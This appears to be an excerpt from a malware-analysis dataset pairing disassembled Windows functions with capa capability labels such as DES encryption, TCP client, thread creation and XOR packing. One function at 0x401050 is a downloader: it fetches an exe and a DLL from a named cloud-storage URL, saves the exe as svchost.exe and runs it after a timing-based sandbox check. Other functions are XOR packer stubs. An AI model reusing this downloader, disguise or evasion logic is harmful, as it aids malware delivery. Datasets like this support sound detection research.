joyce8/EMBER2024-capa huggingface dataset:
Function at 0x414e10
Capabilities:
Encrypt data using des

Disassembly:
sub esp, 0xf4
xor ecx, ecx
push ebx
push ebp
push esi
mov esi, dword [esp + 0x104]
push edi
xor eax, eax
mov al, byte [ecx + str.80_]
mov edx, eax
and eax, 7
sar edx, 3
mov bl, byte [eax*2 + 0x8bd404]
mov dl, byte [edx + esi]
test bl, dl
setne al
mov byte [esp + ecx + 0x4c], al
inc ecx
cmp ecx, 0x38
jl 0x414e23
mov eax, 0x1e
xor edx, edx
mov dword [esp + 0x10], eax
cmp dword [esp + 0x10c], 1
je 0x414e64
lea eax, [edx + edx]
lea edi, [esp + eax*4 + 0x88]
lea ebp, [esp + eax*4 + 0x84]
xor eax, eax
xor ecx, ecx
mov cl, byte [edx + 0x8bd4ac]
mov dword [edi], 0
mov dword [ebp], 0
mov esi, ecx
cmp ecx, 0x1c
jge 0x414e96
mov bl, byte [esp + ecx + 0x4c]
jmp 0x414e9a
mov bl, byte [esp + ecx + 0x30]
mov byte [esp + eax + 0x14], bl
inc eax
inc ecx
cmp eax, 0x1c
jl 0x414e8b
mov eax, 0x1c
lea ecx, [esi + 0x1c]
cmp ecx, 0x38
jge 0x414eb8
mov bl, byte [esp + ecx + 0x4c]
jmp 0x414ebc
mov bl, byte [esp + ecx + 0x30]
mov byte [esp + eax + 0x14], bl
inc eax
inc ecx
cmp eax, 0x38
jl 0x414ead
xor ecx, ecx
mov eax, 0x8bd414
xor ebx, ebx
mov bl, byte [ecx + 0x8bd4bc]
cmp byte [esp + ebx + 0x14], 0
je 0x414ee7
mov esi, dword [eax]
mov ebx, dword [ebp]
or ebx, esi
mov dword [ebp], ebx
xor ebx, ebx
mov bl, byte [ecx + 0x8bd4d4]
cmp byte [esp + ebx + 0x14], 0
je 0x414efe
mov esi, dword [eax]
mov ebx, dword [edi]
or ebx, esi
mov dword [edi], ebx
add eax, 4
inc ecx
cmp eax, str.80_
jl 0x414ece
mov eax, dword [esp + 0x10]
inc edx
sub eax, 2
cmp eax, 0xfffffffe
mov dword [esp + 0x10], eax
jg 0x414e57
lea edx, [esp + 0x84]
push edx
call fcn.00414f40
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xf4
ret
Function at 0x4173b0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Set socket configuration

Disassembly:
sub esp, 0x10
push esi
push 6
push 1
push 2
call sub.WSOCK32.dll_socket
mov ecx, dword [esp + 0x1c]
mov esi, eax
xor eax, eax
push ecx
mov dword [esp + 8], eax
mov word [esp + 8], 2
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], eax
call sub.WSOCK32.dll_inet_addr
mov edx, dword [esp + 0x20]
mov dword [esp + 8], eax
push edx
call sub.WSOCK32.dll_htons
mov word [esp + 6], ax
lea eax, [esp + 4]
push 0x10
push eax
push esi
call sub.WSOCK32.dll_connect
test eax, eax
jne 0x41740f
mov eax, esi
pop esi
add esp, 0x10
ret
push esi
call sub.WSOCK32.dll_closesocket
xor eax, eax
pop esi
add esp, 0x10
ret

Function at 0x417570
Capabilities:
Initialize winsock library

Disassembly:
sub esp, 0x1ac
lea eax, [esp + 0x1c]
push ebx
push esi
push edi
push eax
push 1
call sub.WSOCK32.dll_WSAStartup
test eax, eax
jne 0x417693
mov ebx, dword [esp + 0x1c0]
test ebx, ebx
jl 0x417693
cmp ebx, 0xffff
jg 0x417693
mov edi, dword [esp + 0x1c4]
push edi
call fcn.00418700
add esp, 4
cmp eax, 1
jne 0x4175e0
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x14]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
jmp 0x4175f6
lea ecx, [esp + 0x14]
push ecx
push edi
call fcn.004188f0
add esp, 8
test eax, eax
je 0x417693
mov esi, dword [esp + 0x1bc]
xor edx, edx
lea ecx, [esp + 0x14]
push ebx
lea eax, [esi + 0x34]
push ecx
push esi
mov dword [eax], edx
mov byte [eax + 4], dl
call fcn.004173b0
add esp, 0xc
mov dword [esi + 0xc], eax
test eax, eax
je 0x417693
push eax
call fcn.004178f0
push esi
lea edx, [esp + 0x18]
push 0x417420
push edx
mov dword [esi + 0x10], 0
call fcn.00418940
mov eax, dword [esp + 0x20]
add esp, 0x10
mov dword [esi + 0x14], eax
mov eax, dword [esi + 4]
test eax, eax
jne 0x41767c
push esi
lea ecx, [esp + 0x10]
push 0x417490
push ecx
call fcn.00418940
mov edx, dword [esp + 0x18]
push esi
lea eax, [esp + 0x1c]
push 0x417500
push eax
mov dword [esi + 0x18], edx
call fcn.00418940
mov ecx, dword [esp + 0x24]
add esp, 0x18
mov dword [esi + 0x1c], ecx
call fcn.004172e0
mov dword [esi + 8], eax
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x1ac
ret
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x1ac
ret
Function at 0x4188f0
Capabilities:
Resolve dns

Disassembly:
mov eax, dword [esp + 4]
push eax
call sub.WSOCK32.dll_gethostbyname
test eax, eax
jne 0x4188ff
ret
mov ecx, dword [eax + 0xc]
push esi
push edi
mov edx, dword [ecx]
mov eax, dword [edx]
push eax
call sub.WSOCK32.dll_inet_ntoa
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov eax, dword [esp + 0x10]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
ret

Function at 0x418940
Capabilities:
Create thread

Disassembly:
mov ecx, dword [esp + 0xc]
mov edx, dword [esp + 8]
lea eax, [esp + 0xc]
push eax
push 0
push ecx
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [esp + 4]
xor edx, edx
test eax, eax
setne dl
mov dword [ecx], eax
mov eax, edx
ret

Function at 0x418970
Capabilities:
Terminate thread

Disassembly:
push esi
mov esi, dword [esp + 8]
test esi, esi
je 0x418989
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
ret

Function at 0x42e3f3
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x42e421
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x42e43f
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.0042e359
jmp 0x42e43f
mov eax, dword [esi + 0x14]
test eax, eax
je 0x42e43f
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.0042e359
test edi, edi
mov eax, edi
jne 0x42e429
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x416ac3
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x4213dc]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0040f8ae
and dword [ebp - 0x14], 0
cmp dword [0x438b14], 0
mov dword [ebp - 0x18], eax
jne 0x416b76
push 0x403fe0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x416c1e
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x403fd4
push ebx
call edi
test eax, eax
je 0x416c1e
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push 0x403fc4
push ebx
mov dword [0x438b14], eax
call edi
push eax
call esi
push 0x403fb0
push ebx
mov dword [0x438b18], eax
call edi
push eax
call esi
push 0x403f94
push ebx
mov dword [0x438b1c], eax
call edi
push eax
call esi
mov dword [0x438b24], eax
test eax, eax
je 0x416b76
push 0x403f7c
push ebx
call edi
push eax
call esi
mov dword [0x438b20], eax
mov eax, dword [0x438b20]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x416bcf
cmp dword [0x438b24], ecx
je 0x416bcf
push eax
call esi
push dword [0x438b24]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x416bcf
test ebx, ebx
je 0x416bcf
call edi
test eax, eax
je 0x416bc6
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x416bc6
test byte [ebp - 8], 1
jne 0x416bcf
or dword [ebp + 0x10], 0x200000
jmp 0x416c02
mov eax, dword [0x438b18]
cmp eax, dword [ebp - 0x18]
je 0x416c02
push eax
call esi
test eax, eax
je 0x416c02
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x416c02
mov eax, dword [0x438b1c]
cmp eax, dword [ebp - 0x18]
je 0x416c02
push eax
call esi
test eax, eax
je 0x416c02
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x438b14]
call esi
test eax, eax
je 0x416c1e
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x416c20
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040b42e
leave
ret
Function at 0x432000
Capabilities:
Encode data using xor

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x40c7d0
nop
mov ecx, 0x6192283d
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
je 0x43204e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
jne 0x432024
nop
nop
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42f314
nop
mov ecx, 0x5d6278e6
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x432084
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
add eax, 4
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
nop
jne 0x43206c
nop
nop
nop
nop
nop
popal
jmp 0x431219

Function at 0x431000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40915c
nop
nop
mov ecx, 0x571d0f05
nop
test eax, eax
nop
nop
nop
nop
je 0x43104e
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
cmp eax, ebx
nop
nop
nop
nop
jne 0x431024
nop
nop
nop
nop
nop
mov eax, section..reloc
mov ebx, 0x42f3f8
nop
nop
mov ecx, 0x2ca06955
nop
nop
nop
nop
test eax, eax
nop
nop
je 0x431084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x43106c
nop
nop
nop
nop
popal
nop
nop
jmp 0x401219
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x408ecc
nop
mov ecx, 0x3ee924f4
nop
nop
nop
test eax, eax
nop
nop
je 0x43004e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
jne 0x430024
nop
nop
nop
nop
mov eax, section..data
nop
nop
mov ebx, 0x42e1d0
nop
mov ecx, 0x641529fd
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x430084
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x43006c
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x401219

Function at 0x42e004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
mov eax, section..text
nop
nop
push 4
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x42e072
nop
mov ebx, 0x407ef8
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x30e054ee
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x42e060
nop
nop
nop
mov eax, section..data
nop
nop
cmp eax, 0
nop
nop
nop
je 0x42e0d2
nop
nop
nop
mov ebx, 0x42cd70
nop
nop
nop
mov ecx, ebx
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x4b2578b6
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
loop 0x42e0c0
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0x4030bc
Capabilities:
Manipulate console buffer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x830
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [eax]
mov eax, dword [eax + 4]
push esi
xor esi, esi
cmp dword [0xc28088], 0x594
push edi
mov dword [ebp - 8], eax
jne 0x4030f2
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetFullPathNameW]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalAddAtomA]
mov eax, dword [0x808ef8]
mov dword [ebp - 0x2c], eax
mov eax, dword [0x808efc]
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], esi
call fcn.004030b5
mov eax, dword [0x808f00]
add dword [ebp - 0x10], 0x23f
mov dword [ebp - 0x20], eax
mov eax, dword [0x808f04]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x18], 0x20
mov dword [ebp - 0xc], 2
add dword [ebp - 0xc], 3
mov eax, ebx
shl eax, 4
cmp dword [0xc28088], 0xc
mov dword [ebp - 4], eax
jne 0x403180
push esi
lea eax, [ebp - 0x830]
push eax
push 0x4024f0
call dword [sym.imp.KERNEL32.dll_FindFirstVolumeMountPointW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsW]
xor eax, eax
mov word [ebp - 0x1c], ax
lea edi, [ebp - 0x1a]
stosw word es:[edi], ax
push dword [ebp - 0x1c]
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_TerminateJobObject]
mov eax, dword [ebp - 0x20]
add dword [ebp - 4], eax
mov eax, dword [0xc28088]
cmp eax, 0xfa9
jne 0x40319c
mov dword [0xc27624], 0xedeb2e40
cmp eax, 0x3eb
jne 0x4031a9
mov dword [0xc26fd4], esi
mov ecx, dword [ebp - 0xc]
mov edi, dword [ebp - 0x10]
mov edx, ebx
shr edx, cl
lea eax, [edi + ebx]
mov dword [ebp - 0x14], eax
mov dword [0xc27620], 0xf4ea3dee
add edx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x14]
xor dword [ebp - 4], eax
xor edx, dword [ebp - 4]
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x14]
add dword [ebp - 8], 0x64
sub dword [ebp - 8], eax
sub dword [ebp - 8], 0x64
cmp dword [0xc28088], 0xc
jne 0x4031ff
lea eax, [ebp - 0x14]
push eax
push esi
push esi
lea eax, [ebp - 0x30]
push eax
push esi
push esi
push esi
mov dword [ebp - 0x14], esi
call dword [sym.imp.KERNEL32.dll_BackupRead]
mov eax, dword [ebp - 8]
shl eax, 4
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x2c]
add dword [ebp - 4], eax
mov edx, dword [ebp - 8]
mov ecx, dword [ebp - 0xc]
mov eax, edx
shr eax, cl
add edi, edx
add eax, dword [ebp - 0x24]
xor eax, edi
xor dword [ebp - 4], eax
sub ebx, dword [ebp - 4]
lea eax, [ebp - 0x10]
call fcn.004030ae
dec dword [ebp - 0x18]
jne 0x40312b
cmp dword [0xc28088], 0xa6d
mov edi, dword [ebp + 8]
mov dword [edi], ebx
jne 0x403256
push esi
push 0x402588
call dword [sym.imp.KERNEL32.dll_BeginUpdateResourceW]
mov edx, dword [ebp - 8]
mov dword [edi + 4], edx
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x403260
Capabilities:
Get thread local storage value

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0xc28088]
mov ecx, dword [0xc26fd8]
sub esp, 0x400
push esi
shr eax, 3
xor esi, esi
cmp eax, esi
jbe 0x403303
push ebx
push edi
mov edi, ecx
mov ebx, eax
cmp dword [0xc28088], 0x959
jne 0x4032f5
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SleepEx]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateJobObjectA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumDateFormatsExA]
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetFileShortNameA]
push esi
lea eax, [ebp - 0x400]
push eax
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_LCMapStringA]
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push esi
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
push esi
call dword [sym.imp.KERNEL32.dll_HeapLock]
push esi
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push edi
call fcn.004030bc
add edi, 8
dec ebx
jne 0x403288
pop edi
pop ebx
pop esi
leave
ret
Function at 0x4043c0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x8080c8]
jne 0x4043ca
repz ret
jmp fcn.00406b2e

Function at 0x40674f
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00404441
and dword [ebp - 4], 0
cmp dword [0x809a10], 0
mov ebx, eax
jne 0x406800
push 0x4019c8
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x4068b1
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x4019bc
push edi
call esi
test eax, eax
je 0x4068b1
push eax
call fcn.004043cf
mov dword [esp], 0x4019ac
push edi
mov dword [0x809a10], eax
call esi
push eax
call fcn.004043cf
mov dword [esp], 0x401998
push edi
mov dword [0x809a14], eax
call esi
push eax
call fcn.004043cf
mov dword [esp], 0x40197c
push edi
mov dword [0x809a18], eax
call esi
push eax
call fcn.004043cf
pop ecx
mov dword [0x809a20], eax
test eax, eax
je 0x406800
push 0x401964
push edi
call esi
push eax
call fcn.004043cf
pop ecx
mov dword [0x809a1c], eax
mov eax, dword [0x809a1c]
cmp eax, ebx
je 0x406858
cmp dword [0x809a20], ebx
je 0x406858
push eax
call fcn.0040444a
push dword [0x809a20]
mov esi, eax
call fcn.0040444a
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x406858
test edi, edi
je 0x406858
call esi
test eax, eax
je 0x40684f
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40684f
test byte [ebp - 0xc], 1
jne 0x406858
or dword [ebp + 0x10], 0x200000
jmp 0x406891
mov eax, dword [0x809a14]
cmp eax, ebx
je 0x406891
push eax
call fcn.0040444a
pop ecx
test eax, eax
je 0x406891
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x406891
mov eax, dword [0x809a18]
cmp eax, ebx
je 0x406891
push eax
call fcn.0040444a
pop ecx
test eax, eax
je 0x406891
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x809a10]
call fcn.0040444a
pop ecx
test eax, eax
je 0x4068b1
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x4068b3
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401050
Capabilities:
Check if file exists
Create process on windows
Download url
Get common file path
Get file attributes
Receive data

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x66c
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x668], eax
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount64]
push edi
call esi
push 0x12c
mov edi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
call esi
sub eax, edi
lea edi, [eax - 0x12c]
mov eax, edi
cdq
mov esi, edx
push esi
push eax
push str.v4:_lld_n
call fcn.00401010
mov eax, esi
add esp, 0xc
xor eax, edi
sub eax, esi
cmp eax, 0x64
jg 0x40123b
lea eax, [esp + 0x260]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
dec eax
cmp eax, 0x102
ja 0x401214
mov ebx, dword [sym.imp.urlmon.dll_URLDownloadToFileW]
lea ecx, [esp + 0x4c]
mov dword [esp + 0x48], str.https:__kuaimm.oss_cn_hongkong.aliyuncs.com_kuai.exe
xor esi, esi
mov dword [esp + 0x4c], str.svchost.exe
mov dword [esp + 0x50], str.https:__kuaimm.oss_cn_hongkong.aliyuncs.com_libOpenglRender.dll
mov dword [esp + 0x54], str.libOpenglRender.dll
nop word [eax + eax]
mov edi, dword [ecx + esi*8]
lea eax, [esp + 0x260]
push edi
push eax
lea eax, [esp + 0x60]
push str._s_s
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [esp + 0x58]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x401133
test al, 0x10
je 0x40114c
push 0
push 0
lea eax, [esp + 0x60]
push eax
push dword [esp + esi*8 + 0x54]
push 0
call ebx
test eax, eax
jne 0x4011ec
inc esi
lea ecx, [esp + 0x4c]
cmp esi, 2
jb 0x401100
push str.svchost.exe
lea eax, [esp + 0x264]
push eax
lea eax, [esp + 0x470]
push str._s_s
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
push 0x38
lea eax, [esp + 0x24]
mov dword [esp + 0x20], 0x3c
push 0
push eax
call fcn.00402150
add esp, 0x1c
lea eax, [esp + 0x468]
mov dword [esp + 0x1c], eax
lea eax, [esp + 0xc]
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
jne 0x4011d5
push str.svchost.exe
push str.Failed_to_execute_file:__s_n
call fcn.00401010
add esp, 8
mov eax, 4
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x668]
xor ecx, esp
call fcn.00401243
mov esp, ebp
pop ebp
ret
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x668]
xor ecx, esp
call fcn.00401243
mov esp, ebp
pop ebp
ret
push edi
push str.Failed_to_download_file:__s_n
call fcn.00401010
add esp, 8
mov eax, 3
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x668]
xor ecx, esp
call fcn.00401243
mov esp, ebp
pop ebp
ret
push str.Failed_to_get_system_temporary_directory_path._n
call fcn.00401010
mov ecx, dword [esp + 0x678]
add esp, 4
mov eax, 2
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00401243
mov esp, ebp
pop ebp
ret
push 1
call fcn.004043cb
int3
Function at 0x401a42
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x401a81
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x401a81
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x401a81
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x401a81
cmp dword [ecx + 0x74], 0xe
jbe 0x401a81
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x407ee2
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x416618
push 0x416610
push str.FlsAlloc
push 0x1f
call fcn.00407da1
mov esi, eax
add esp, 0x10
test esi, esi
je 0x407f16
push dword [ebp + 8]
mov ecx, esi
call dword [0x415138]
call esi
jmp 0x407f1c
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x407f60
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x416628
push 0x416620
push str.FlsGetValue
push 0x21
call fcn.00407da1
mov esi, eax
add esp, 0x10
test esi, esi
je 0x407f97
push dword [ebp + 8]
mov ecx, esi
call dword [0x415138]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x407f9f
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x416630
push 0x416628
push str.FlsSetValue
push 0x22
call fcn.00407da1
mov esi, eax
add esp, 0x10
test esi, esi
je 0x407fd9
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x415138]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x40b571
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x40b60e
push ebx
push esi
call fcn.0040b53a
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.0040b4ce
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x40b5bb
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x40b60d
push edi
push eax
call fcn.00408691
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x40b5db
call fcn.00407c34
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x40b60c
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.0040b4ce
add esp, 0x20
test eax, eax
jne 0x40b5fa
push edi
call fcn.00407c34
jmp 0x40b602
push ebx
call fcn.00407c34
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret
Function at 0x4137b0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4137dd
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4137dd
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret